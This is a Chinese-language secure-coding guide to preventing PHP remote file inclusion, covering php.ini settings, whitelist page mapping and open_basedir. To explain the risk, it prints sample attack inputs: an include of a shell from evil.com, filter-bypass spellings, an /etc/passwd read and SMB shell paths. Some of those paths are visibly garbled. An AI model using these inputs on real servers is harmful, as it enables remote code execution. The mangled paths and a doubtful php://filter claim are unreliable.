allow_url_include必须设为off,否则任何过滤均无效;同时需关闭allow_url_fopen,重启服务并验证生效,这是防御rfi最根本的措施。

allow_url_include 必须关,否则任何后续过滤都形同虚设——这是防止远程文件包含(RFI)最硬的底线。
关掉 allow_url_include 和 allow_url_fopen
这两个配置项是 RFI 的开关。只要 allow_url_include 为 On,攻击者就能用 include($_GET['page']) 直接加载 http://evil.com/shell.php 并执行。即使你写了白名单、用了 basename(),也拦不住协议头注入。
操作步骤:
- 打开
php.ini,确认两行均为Off:allow_url_fopen = Offallow_url_include = Off - 重启 Web 服务(Apache/Nginx + PHP-FPM)使配置生效
- 用
phpinfo()或ini_get('allow_url_include')验证是否真的关闭
注意:allow_url_fopen = Off 不影响本地文件读取(如 file_get_contents('/tmp/log.txt')),但会禁用所有 http://、ftp://、php://filter 等协议访问——这正是你要的效果。
别信 str_replace() 过滤 http://
常见错误写法:$page = str_replace(['http://', 'https://'], '', $_GET['page']); include($page);。这种“黑名单式”清洗完全无效,因为攻击者可构造 httx://、hxxp://、URL 编码 %68%74%74%70%3a%2f%2f 或利用大小写绕过(HtTp://)。
更危险的是,它还会掩盖真实问题:一旦 allow_url_include = On,过滤就彻底失效;而如果已关闭,这类过滤纯属冗余,还可能干扰合法路径(比如用户输入含 http 字样的文件名)。
正确做法是:直接拒绝任何含协议头的输入,或根本不接受 URL 字符串作为包含目标。
用白名单映射代替字符串拼接
动态拼接路径永远有风险。哪怕你加了 basename() 和 realpath(),只要输入参与了文件路径构造,就存在被绕过的可能(例如 SMB 共享路径 \192.168.1.100shareshell.php 在 Windows 上仍可触发执行,且不受 allow_url_* 限制)。
推荐方式是把用户输入当作键,查表得绝对路径:
$valid_pages = [
'home' => '/var/www/app/views/home.php',
'about' => '/var/www/app/views/about.php',
'contact' => '/var/www/app/views/contact.php',
];
$page = $_GET['page'] ?? '';
if (!isset($valid_pages[$page])) {
die('Invalid page');
}
include($valid_pages[$page]);
优点:
- 完全剥离用户输入与路径构造逻辑
- 不依赖字符串处理函数,无编码/大小写/协议绕过风险
- 路径为硬编码绝对路径,
realpath()校验可省略
open_basedir 是最后一道保险,但不能替代代码层防护
open_basedir 可限制 PHP 脚本能访问的目录范围,比如设为 /var/www/app/:/tmp/,那么 include('/etc/passwd') 或 include('//attacker/smb.php') 就会失败。
但它有明显局限:
- 仅对文件系统路径有效,对 SMB、FTP 等网络协议路径不一定拦截(尤其 Windows 下)
- 一旦攻击者能写入
/tmp/,再通过include('/tmp/evil.php')即可绕过 - 配置需全局生效,容易因疏漏放行敏感路径(如未排除
/proc/)
所以它应作为纵深防御补充,而非主要手段。优先级永远是:allow_url_include = Off > 白名单映射 > open_basedir。
真正容易被忽略的点是:SMB 路径和 php:// 流在 allow_url_include = Off 后依然可能生效——尤其是 Windows 环境下,\servershareile.php 不被视为“URL”,而是本地 UNC 路径,PHP 会尝试挂载并执行。这点必须在白名单中显式排除,或在 Web 服务器层(如 Nginx)直接拦截含 \ 的参数。
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!











